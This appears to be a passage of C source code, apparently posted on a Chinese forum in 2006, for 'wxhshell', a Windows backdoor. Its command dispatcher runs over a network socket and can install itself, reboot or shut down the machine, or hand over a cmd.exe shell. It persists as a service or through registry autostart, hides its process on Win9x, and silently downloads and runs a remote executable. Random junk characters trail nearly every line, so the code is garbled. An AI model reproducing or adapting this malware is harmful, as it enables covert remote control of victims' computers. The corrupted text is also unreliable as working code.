  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); LJ`*&J   
  } R2yiExw<  
  else { u;H SX  
Eb{Zm<TP  
    switch(cmd[0]) { Tn< <i  
  uV`r_P  
  // 帮助 m!SxX&m"G  
  case '?': { ='a[(C&Y  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); e<6fe-g9;  
    break; <xOXuve  
  } ({i}EC7{  
  // 安装 QI'ule  
  case 'i': { XT> u/Z)  
    if(Install()) !E8y!|7$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v\PqhIy"  
    else A}?n.MAX>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x>d,\{U  
    break; #S)+eH  
    } H WOs   
  // 卸载 A-Be}A  
  case 'r': { S\b[Bq  
    if(Uninstall()) CtJ*:wF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F=!p7msRB  
    else #kjN!S*=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); A-x; ai]  
    break; $ OB2ZS"  
    } 1`J-|eH=Q  
  // 显示 wxhshell 所在路径 +XCLdf}dC  
  case 'p': { ad1I2  
    char svExeFile[MAX_PATH]; uMKO^D  
    strcpy(svExeFile,"\n\r"); T'B43Q  
      strcat(svExeFile,ExeFile); ]=!wMn**  
        send(wsh,svExeFile,strlen(svExeFile),0); ?~c=Sa-  
    break; `dekaRo  
    } f]Z%,'1^  
  // 重启 n4\UoKq  
  case 'b': { L"{qF<@V7&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); o.W:R Ux  
    if(Boot(REBOOT)) O?5uCh$H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cl#PYB{1Y  
    else { Lgp{  hK  
    closesocket(wsh); OV/H&fe  
    ExitThread(0); x`~YTOfYk  
    } mrWPTCD{  
    break; l*~O;do  
    } ?_)b[-N!  
  // 关机 Tq{+9+  
  case 'd': { Yw @)0%G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qg1s]c~0u  
    if(Boot(SHUTDOWN)) Y1fcp_]m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3'tcEFkH  
    else { p_%dH  
    closesocket(wsh); ,yc_r= _  
    ExitThread(0); eA q/[(  
    } xe?!UCUb@  
    break; VF[$hs  
    } -([ ipg(r  
  // 获取shell ~ +DPq|-O  
  case 's': { j"=F\S&!  
    CmdShell(wsh); mbT4K8<^  
    closesocket(wsh); vDI$ QUMD6  
    ExitThread(0); t 7GK\B8:  
    break; 1%Hc/N-  
  } jHjap:i`cI  
  // 退出 Nl/^ga  
  case 'x': { @cYb37)q=  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W D8  
    CloseIt(wsh); j=|cx+nb  
    break; MX Qua:&HW  
    } wNc.z*+O"H  
  // 离开 $O nh2 ^  
  case 'q': { ]q^6az(Ud  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ? nx3# <  
    closesocket(wsh); K(jo[S  
    WSACleanup(); k7,   
    exit(1); U<<@(d%T  
    break; ozaM!ee\z  
        } |ppG*ee  
  } j-]`;&L  
  } -t#YL  
phCItN;  
  // 提示信息 aF8'^xF  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xhcFZTj/(  
} _43'W{%  
  } lV%oIf[OB  
CcCcuxtR  
  return; M'gGoH}B+q  
} s#Ayl]8r  
\-?0ab3Z  
// shell模块句柄 L5[{taZ,  
int CmdShell(SOCKET sock) {$>Pg/  
{ 2WO5Af%  
STARTUPINFO si; j!c~%hP  
ZeroMemory(&si,sizeof(si)); r=}v` R&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sdp3geBYo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #jj+/>ZOi  
PROCESS_INFORMATION ProcessInfo; XrUc`  
char cmdline[]="cmd"; [L m  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r>ziQq8C&  
  return 0; X!xmto  
} gN@|lHbU  
k~%j"%OB  
// 自身启动模式 wK]p`:3  
int StartFromService(void) {,+{,Ere  
{ OsT|MX  
typedef struct /SW*y@R2l  
{ '3|fv{I  
  DWORD ExitStatus; J7;8 S  
  DWORD PebBaseAddress; ,A%p9  
  DWORD AffinityMask; OLS/3c z  
  DWORD BasePriority; X aE;i57$l  
  ULONG UniqueProcessId; Z ".Xroq~  
  ULONG InheritedFromUniqueProcessId; .Gt_~x  
}   PROCESS_BASIC_INFORMATION; 6?(yMSKa  
fI v?HD:j  
PROCNTQSIP NtQueryInformationProcess; !!k^M"e2  
p>N8g#G  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [$X^r<|P@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; emSky-{$u  
(b;Kl1Ql]  
  HANDLE             hProcess; zC,c9b  
  PROCESS_BASIC_INFORMATION pbi; |:w)$i& *  
I>EEUQR/$H  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^UCH+C yl  
  if(NULL == hInst ) return 0; G^|!'V  
vf5q8/a  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); baoyU#X9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +)hxYLk&I  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [XE\2Qa8e  
"&:H }Jd  
  if (!NtQueryInformationProcess) return 0; xx@[ecW  
i!{A7mo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); s(T0lul  
  if(!hProcess) return 0; b4qMTRnv  
NDUH10Y:[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9.%t9RM^  
i E?yvtr8  
  CloseHandle(hProcess); b>2{F6F  
ZkJLq[:cM  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VqUCcT  
if(hProcess==NULL) return 0; "Zfm4Nx "  
1xEFMHjy  
HMODULE hMod; \E=MV~:R  
char procName[255]; k|,Y_h0Y  
unsigned long cbNeeded; _\.4ofK(  
Ht:\ z;cu  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); %M3L<2  
'}^qz#w   
  CloseHandle(hProcess); }Y^o("c(  
Q=6 1.lP6  
if(strstr(procName,"services")) return 1; // 以服务启动 _N {4Rs0  
%8H$62w]  
  return 0; // 注册表启动 uPq@6,+  
} to'CuPkT  
ypgM&"eR  
// 主模块 Uc,MZV4  
int StartWxhshell(LPSTR lpCmdLine) 0xx4rp H  
{ <+-=j  
  SOCKET wsl; n2 can  
BOOL val=TRUE; q9wObOS$  
  int port=0; y/E:6w  
  struct sockaddr_in door; 7},oY"" 8  
i)$P1h  
  if(wscfg.ws_autoins) Install(); ?7]G )8G6  
Fge ["p?GF  
port=atoi(lpCmdLine); 5%N[hd1Ql  
^TD%l8o6  
if(port<=0) port=wscfg.ws_port;  )m#Y^  
,k_"T.w  
  WSADATA data; q_6fr$-Qh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; H $ %F0'0  
&09&;KJ  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   GM8Q#vc  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H| _@9V  
  door.sin_family = AF_INET; ?YMBZ   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `Se2f0",  
  door.sin_port = htons(port); @t a:9wZ  
'A>?aUq]:  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { nU' qE  
closesocket(wsl); DS;\24>H  
return 1; YKz#,  
} q9dplEe5  
{i+ o'Lw  
  if(listen(wsl,2) == INVALID_SOCKET) { s= ]NKJaQH  
closesocket(wsl); b*Q3j}cZ  
return 1; $/lM %yXe  
} 41]a{A7q  
  Wxhshell(wsl); o l41%q*  
  WSACleanup(); '}9 Nvr)+  
7H09\g&  
return 0; {?Nm"#  
}`2a>N: &  
} X 0iy  
O_qwD6s-_  
// 以NT服务方式启动 }S8aR:'  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \gA<yz-;N  
{ 0zA;%oP  
DWORD   status = 0; ilde<!?  
  DWORD   specificError = 0xfffffff; SswcO9JCX3  
mI5J] hk  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ;:_AOb31N  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; J;NIa[a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; KJV8y"^=Q  
  serviceStatus.dwWin32ExitCode     = 0; tT!' qL.*  
  serviceStatus.dwServiceSpecificExitCode = 0; !qp$Xtf+  
  serviceStatus.dwCheckPoint       = 0; "0uM%*2  
  serviceStatus.dwWaitHint       = 0; .;Mb4"7=  
tewp-M KA  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); <$yA*  
  if (hServiceStatusHandle==0) return; `u}_O(A1pA  
mZ2CG O R  
status = GetLastError(); :{N*Z}]  
  if (status!=NO_ERROR) U#c Gd\b  
{ Yb^e7Eug  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; `kuu}YUi  
    serviceStatus.dwCheckPoint       = 0; aPzn4}~/_  
    serviceStatus.dwWaitHint       = 0; YHO}z}f[!  
    serviceStatus.dwWin32ExitCode     = status; Zj!,3{jX^  
    serviceStatus.dwServiceSpecificExitCode = specificError; p @kRo#~l  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $cIaLq  
    return; A"ATtid  
  } nhdZC@~E0  
-N% V5 TN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hcj]T?  
  serviceStatus.dwCheckPoint       = 0; J}&Us p  
  serviceStatus.dwWaitHint       = 0; /6Q]f  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bS;_xDXd  
} McN[  
r}&&e BY f  
// 处理NT服务事件,比如:启动、停止 FJDC^@Ne  
VOID WINAPI NTServiceHandler(DWORD fdwControl) bJetqF6 n  
{ X5YOxMq  
switch(fdwControl) t$(#$Z,RS  
{ CDM6o!ur3  
case SERVICE_CONTROL_STOP: _\KFMe= PV  
  serviceStatus.dwWin32ExitCode = 0; Dc@O Mr  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?[d4HKs  
  serviceStatus.dwCheckPoint   = 0; &n;*'M  
  serviceStatus.dwWaitHint     = 0; ttUK~%wSx  
  { 9:4S[mz/hD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ". tW5O>  
  } |dLr #+'az  
  return; wYf\!]}'  
case SERVICE_CONTROL_PAUSE: . 2$J-<O  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _]OY[&R  
  break; QZ l#^-on  
case SERVICE_CONTROL_CONTINUE: tO{{ci$-T  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; !h4T3sO  
  break; b'\Q/;oz>  
case SERVICE_CONTROL_INTERROGATE: ?VNtT/  
  break; f~T7?D0u}N  
}; ?)|}gr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <4LJ #Fx  
} z )'9[t  
h40;Q<D  
// 标准应用程序主函数 ##6\~!P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) .p! DVQ"a  
{ YK)m6zW5  
gMI%!Y  
// 获取操作系统版本 }yK7LooM  
OsIsNt=GetOsVer(); x6`mv8~9Db  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H P.=6bJWi  
R>O_2`c  
  // 从命令行安装 H[u9C:}9b  
  if(strpbrk(lpCmdLine,"iI")) Install(); gZ4' w`4r  
sNDo@u7  
  // 下载执行文件 5P\>$N1p  
if(wscfg.ws_downexe) { w\acgQ^%e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 7. <jdp  
  WinExec(wscfg.ws_filenam,SW_HIDE); a2B71RT~  
} E%bhd4$G  
Q4m> 3I  
if(!OsIsNt) { MvpJ0Y (  
// 如果时win9x,隐藏进程并且设置为注册表启动 m "9f(  
HideProc(); %PYO9:n  
StartWxhshell(lpCmdLine); ZU`9]7"87B  
} !G-+O#W`  
else \Ip)Lm0  
  if(StartFromService()) W_2;j)i  
  // 以服务方式启动 oRCc8&  
  StartServiceCtrlDispatcher(DispatchTable); %3a-@!|1<  
else >Bb X:  
  // 普通方式启动 gS'{JZu2  
  StartWxhshell(lpCmdLine); 9,'m,2%W  
Qb^G1#r@C  
return 0; $Aw@xC^!  
}
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只看该作者 1 发表于: 2006-10-10
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